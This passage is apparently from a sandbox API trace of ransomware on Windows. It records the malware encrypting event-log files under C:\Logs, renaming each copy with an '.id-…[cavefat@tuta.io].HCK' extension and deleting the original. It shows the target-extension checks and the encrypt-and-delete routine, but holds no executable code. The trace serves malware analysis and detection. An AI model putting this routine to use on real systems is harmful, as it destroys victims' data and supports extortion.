nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesWritten=0x2c0fc94*=0x11010, lpOverlapped=0x0) returned 1 [0157.130] ReadFile (in: hFile=0x2fc, lpBuffer=0x37f6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0157.130] WriteFile (in: hFile=0x394, lpBuffer=0x37f6020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesWritten=0x2c0fc94*=0x122, lpOverlapped=0x0) returned 1 [0157.130] SetEndOfFile (hFile=0x394) returned 1 [0157.436] CloseHandle (hObject=0x394) returned 1 [0157.467] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.467] SetEndOfFile (hFile=0x2fc) returned 1 [0157.478] CloseHandle (hObject=0x2fc) returned 1 [0157.478] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0157.478] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx")) returned 1 [0157.478] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47 [0157.479] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47 [0157.479] lstrlenW (lpString=".doc") returned 4 [0157.479] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0157.479] lstrlenW (lpString=".docx") returned 5 [0157.479] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0157.479] lstrlenW (lpString=".pdf") returned 4 [0157.479] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0157.479] lstrlenW (lpString=".xls") returned 4 [0157.479] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0157.479] lstrlenW (lpString=".xlsx") returned 5 [0157.479] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0157.479] lstrlenW (lpString=".ppt") returned 4 [0157.479] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0157.479] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47 [0157.479] lstrlenW (lpString=".zip") returned 4 [0157.479] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0157.479] lstrlenW (lpString=".rar") returned 4 [0157.479] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0157.479] lstrlenW (lpString=".bz2") returned 4 [0157.479] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0157.479] lstrlenW (lpString=".7z") returned 3 [0157.479] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0157.479] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47 [0157.479] lstrlenW (lpString=".dbf") returned 4 [0157.479] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0157.479] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47 [0157.479] lstrlenW (lpString=".1cd") returned 4 [0157.479] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0157.479] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47 [0157.479] lstrlenW (lpString=".jpg") returned 4 [0157.479] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0157.479] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47 [0157.479] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47 [0157.479] lstrlenW (lpString=".doc") returned 4 [0157.479] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0157.480] lstrlenW (lpString=".docx") returned 5 [0157.480] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0157.480] lstrlenW (lpString=".pdf") returned 4 [0157.480] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0157.480] lstrlenW (lpString=".xls") returned 4 [0157.480] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0157.480] lstrlenW (lpString=".xlsx") returned 5 [0157.480] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0157.480] lstrlenW (lpString=".ppt") returned 4 [0157.480] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0157.480] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47 [0157.480] lstrlenW (lpString=".zip") returned 4 [0157.480] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0157.480] lstrlenW (lpString=".rar") returned 4 [0157.480] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0157.480] lstrlenW (lpString=".bz2") returned 4 [0157.480] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0157.480] lstrlenW (lpString=".7z") returned 3 [0157.480] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0157.480] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47 [0157.480] lstrlenW (lpString=".dbf") returned 4 [0157.480] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0157.480] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47 [0157.480] lstrlenW (lpString=".1cd") returned 4 [0157.480] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0157.480] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47 [0157.480] lstrlenW (lpString=".jpg") returned 4 [0157.480] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0157.480] lstrcmpiW (lpString1=".evtx", lpString2=".HCK") returned -1 [0157.480] lstrlenW (lpString="Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 45 [0157.480] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0157.480] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=69632) returned 1 [0157.480] CloseHandle (hObject=0x2fc) returned 1 [0157.480] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx")) returned 0x20 [0157.481] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0157.481] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0157.481] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.481] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.481] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0157.481] GetLastError () returned 0x0 [0157.481] ReadFile (in: hFile=0x2fc, lpBuffer=0x37f6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesRead=0x2c0fecc*=0x11000, lpOverlapped=0x0) returned 1 [0157.484] WriteFile (in: hFile=0x394, lpBuffer=0x37f6020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesWritten=0x2c0fc94*=0x11010, lpOverlapped=0x0) returned 1 [0157.485] ReadFile (in: hFile=0x2fc, lpBuffer=0x37f6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0157.485] WriteFile (in: hFile=0x394, lpBuffer=0x37f6020*, nNumberOfBytesToWrite=0x12e, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesWritten=0x2c0fc94*=0x12e, lpOverlapped=0x0) returned 1 [0157.485] SetEndOfFile (hFile=0x394) returned 1 [0157.485] CloseHandle (hObject=0x394) returned 1 [0157.487] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.487] SetEndOfFile (hFile=0x2fc) returned 1 [0157.488] CloseHandle (hObject=0x2fc) returned 1 [0157.488] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0157.488] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx")) returned 1 [0157.489] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53 [0157.489] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53 [0157.489] lstrlenW (lpString=".doc") returned 4 [0157.489] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0157.489] lstrlenW (lpString=".docx") returned 5 [0157.489] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0157.489] lstrlenW (lpString=".pdf") returned 4 [0157.489] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0157.489] lstrlenW (lpString=".xls") returned 4 [0157.489] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0157.489] lstrlenW (lpString=".xlsx") returned 5 [0157.489] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0157.489] lstrlenW (lpString=".ppt") returned 4 [0157.489] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0157.489] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53 [0157.489] lstrlenW (lpString=".zip") returned 4 [0157.489] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0157.489] lstrlenW (lpString=".rar") returned 4 [0157.489] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0157.489] lstrlenW (lpString=".bz2") returned 4 [0157.489] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0157.489] lstrlenW (lpString=".7z") returned 3 [0157.489] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0157.489] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53 [0157.489] lstrlenW (lpString=".dbf") returned 4 [0157.489] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0157.489] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53 [0157.489] lstrlenW (lpString=".1cd") returned 4 [0157.489] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0157.489] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53 [0157.489] lstrlenW (lpString=".jpg") returned 4 [0157.489] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0157.489] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53 [0157.489] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53 [0157.489] lstrlenW (lpString=".doc") returned 4 [0157.489] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0157.489] lstrlenW (lpString=".docx") returned 5 [0157.489] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0157.489] lstrlenW (lpString=".pdf") returned 4 [0157.489] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0157.489] lstrlenW (lpString=".xls") returned 4 [0157.489] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0157.489] lstrlenW (lpString=".xlsx") returned 5 [0157.489] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0157.489] lstrlenW (lpString=".ppt") returned 4 [0157.489] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0157.489] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53 [0157.490] lstrlenW (lpString=".zip") returned 4 [0157.490] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0157.490] lstrlenW (lpString=".rar") returned 4 [0157.490] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0157.490] lstrlenW (lpString=".bz2") returned 4 [0157.490] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0157.490] lstrlenW (lpString=".7z") returned 3 [0157.490] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0157.490] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53 [0157.490] lstrlenW (lpString=".dbf") returned 4 [0157.490] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0157.490] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53 [0157.490] lstrlenW (lpString=".1cd") returned 4 [0157.490] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0157.490] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53 [0157.490] lstrlenW (lpString=".jpg") returned 4 [0157.490] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0157.490] lstrcmpiW (lpString1=".evtx", lpString2=".HCK") returned -1 [0157.490] lstrlenW (lpString="Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 57 [0157.490] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-volumesnapshot-driver%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0157.491] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=69632) returned 1 [0157.491] CloseHandle (hObject=0x2fc) returned 1 [0157.491] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-volumesnapshot-driver%4operational.evtx")) returned 0x20 [0157.491] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\logs\\microsoft-windows-volumesnapshot-driver%4operational.evtx.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0157.491] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-volumesnapshot-driver%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0157.491] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.491] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.491] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\logs\\microsoft-windows-volumesnapshot-driver%4operational.evtx.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0157.491] GetLastError () returned 0x0 [0157.491] ReadFile (in: hFile=0x2fc, lpBuffer=0x37f6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesRead=0x2c0fecc*=0x11000, lpOverlapped=0x0) returned 1 [0157.494] WriteFile (in: hFile=0x394, lpBuffer=0x37f6020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesWritten=0x2c0fc94*=0x11010, lpOverlapped=0x0) returned 1 [0157.495] ReadFile (in: hFile=0x2fc, lpBuffer=0x37f6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0157.495] WriteFile (in: hFile=0x394, lpBuffer=0x37f6020*, nNumberOfBytesToWrite=0x146, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesWritten=0x2c0fc94*=0x146, lpOverlapped=0x0) returned 1 [0157.495] SetEndOfFile (hFile=0x394) returned 1 [0157.496] CloseHandle (hObject=0x394) returned 1 [0157.497] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.497] SetEndOfFile (hFile=0x2fc) returned 1 [0157.498] CloseHandle (hObject=0x2fc) returned 1 [0157.498] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0157.499] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-volumesnapshot-driver%4operational.evtx")) returned 1 [0157.499] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65 [0157.499] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65 [0157.499] lstrlenW (lpString=".doc") returned 4 [0157.499] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0157.499] lstrlenW (lpString=".docx") returned 5 [0157.499] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0157.499] lstrlenW (lpString=".pdf") returned 4 [0157.499] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0157.499] lstrlenW (lpString=".xls") returned 4 [0157.499] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0157.499] lstrlenW (lpString=".xlsx") returned 5 [0157.499] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0157.499] lstrlenW (lpString=".ppt") returned 4 [0157.499] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0157.499] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65 [0157.499] lstrlenW (lpString=".zip") returned 4 [0157.499] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0157.499] lstrlenW (lpString=".rar") returned 4 [0157.499] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0157.499] lstrlenW (lpString=".bz2") returned 4 [0157.499] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0157.499] lstrlenW (lpString=".7z") returned 3 [0157.499] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0157.499] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65 [0157.499] lstrlenW (lpString=".dbf") returned 4 [0157.499] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0157.499] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65 [0157.499] lstrlenW (lpString=".1cd") returned 4 [0157.499] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0157.499] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65 [0157.499] lstrlenW (lpString=".jpg") returned 4 [0157.499] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0157.499] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65 [0157.499] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65 [0157.500] lstrlenW (lpString=".doc") returned 4 [0157.500] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0157.500] lstrlenW (lpString=".docx") returned 5 [0157.500] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0157.500] lstrlenW (lpString=".pdf") returned 4 [0157.500] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0157.500] lstrlenW (lpString=".xls") returned 4 [0157.500] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0157.500] lstrlenW (lpString=".xlsx") returned 5 [0157.500] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0157.500] lstrlenW (lpString=".ppt") returned 4 [0157.500] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0157.500] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65 [0157.500] lstrlenW (lpString=".zip") returned 4 [0157.500] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0157.500] lstrlenW (lpString=".rar") returned 4 [0157.500] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0157.500] lstrlenW (lpString=".bz2") returned 4 [0157.500] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0157.500] lstrlenW (lpString=".7z") returned 3 [0157.500] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0157.500] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65 [0157.500] lstrlenW (lpString=".dbf") returned 4 [0157.500] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0157.500] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65 [0157.500] lstrlenW (lpString=".1cd") returned 4 [0157.500] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0157.500] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65 [0157.500] lstrlenW (lpString=".jpg") returned 4 [0157.500] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0157.500] lstrcmpiW (lpString1=".evtx", lpString2=".HCK") returned -1 [0157.500] lstrlenW (lpString="Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 42 [0157.500] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0157.500] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=69632) returned 1 [0157.500] CloseHandle (hObject=0x2fc) returned 1 [0157.501] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx")) returned 0x20 [0157.501] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0157.501] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0157.501] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.501] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.501] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0157.501] GetLastError () returned 0x0 [0157.501] ReadFile (in: hFile=0x2fc, lpBuffer=0x37f6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesRead=0x2c0fecc*=0x11000, lpOverlapped=0x0) returned 1 [0157.503] WriteFile (in: hFile=0x394, lpBuffer=0x37f6020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesWritten=0x2c0fc94*=0x11010, lpOverlapped=0x0) returned 1 [0157.505] ReadFile (in: hFile=0x2fc, lpBuffer=0x37f6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0157.505] WriteFile (in: hFile=0x394, lpBuffer=0x37f6020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesWritten=0x2c0fc94*=0x128, lpOverlapped=0x0) returned 1 [0157.505] SetEndOfFile (hFile=0x394) returned 1 [0157.505] CloseHandle (hObject=0x394) returned 1 [0157.507] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.507] SetEndOfFile (hFile=0x2fc) returned 1 [0157.507] CloseHandle (hObject=0x2fc) returned 1 [0157.508] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0157.508] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx" (normalized: 